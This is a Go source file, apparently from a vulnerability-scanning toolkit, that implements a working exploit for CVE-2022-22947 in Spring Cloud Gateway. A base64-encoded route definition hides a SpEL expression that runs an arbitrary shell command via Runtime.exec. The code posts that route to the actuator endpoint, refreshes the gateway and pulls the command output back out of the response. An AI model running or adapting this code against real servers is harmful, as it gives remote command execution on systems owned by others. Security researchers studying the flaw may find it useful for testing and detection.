package poc

import (
	"bytes"
	"encoding/base64"
	"io"
	"net/http"
	"regexp"
	"strings"
	"time"
)

const payload1 = "/actuator/gateway/routes/66Sec"
const payload2 = "/actuator/gateway/refresh"
const payload3 = "/actuator/gateway/routes/66Sec"

var headers = map[string]string{
	"Accept-Encoding": "gzip, deflate",
	"Accept":          "*/*",
	"Accept-Language": "en",
	"User-Agent":      "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36",
	"Connection":      "close",
	"Content-Type":    "application/json",
}

var data = "ewogICJpZCI6ICJXZWlhblNlYyIsCiAgImZpbHRlcnMiOiBbewogICAgIm5hbWUiOiAiQWRkUmVzcG9uc2VIZWFkZXIiLAogICAgImFyZ3MiOiB7CiAgICAgICJuYW1lIjogIlJlc3VsdCIsCiAgICAgICJ2YWx1ZSI6ICIje25ldyBTdHJpbmcoVChvcmcuc3ByaW5nZnJhbWV3b3JrLnV0aWwuU3RyZWFtVXRpbHMpLmNvcHlUb0J5dGVBcnJheShUKGphdmEubGFuZy5SdW50aW1lKS5nZXRSdW50aW1lKCkuZXhlYyhuZXcgU3RyaW5nW117XCJDbWRcIn0pLmdldElucHV0U3RyZWFtKCkpKX0iCiAgICB9CiAgfV0sCiAgInVyaSI6ICJodHRwOi8vZXhhbXBsZS5jb20iCn0="

func CVE_2022_22947(url, cmd string) {
	client := &http.Client{
		Timeout: time.Second * 3,
	}

	decodedData, _ := base64.StdEncoding.DecodeString(data)
	dataStr := strings.Replace(string(decodedData), "Cmd", cmd, -1)

	req, _ := http.NewRequest("POST", url+payload1, bytes.NewBuffer([]byte(dataStr)))
	for k, v := range headers {
		req.Header.Set(k, v)
	}
	resp, err := client.Do(req)
	if err != nil {
		return
	}
	defer resp.Body.Close()

	req, _ = http.NewRequest("POST", url+payload2, bytes.NewBuffer(nil))
	for k, v := range headers {
		req.Header.Set(k, v)
	}
	_, err = client.Do(req)
	if err != nil {
		return
	}

	req, _ = http.NewRequest("GET", url+payload3, nil)
	for k, v := range headers {
		req.Header.Set(k, v)
	}
	resp, err = client.Do(req)
	if err != nil {
		return
	}
	bodyBytes, err := io.ReadAll(resp.Body)
	if err != nil {
		return
	}
	bodyString := string(bodyBytes)

	re := regexp.MustCompile(`Result = ['"]?([^'")]+)`)
	exec := re.FindAllStringSubmatch(bodyString, -1)
	if len(exec) == 1 {
		if len(exec[0]) == 2 {
			flag := exec[0][1]
			flags := Flagcve{url, "CVE_2022_22947", "执行命令结果:" + flag}
			echoFlag(flags)
		}
	}

}
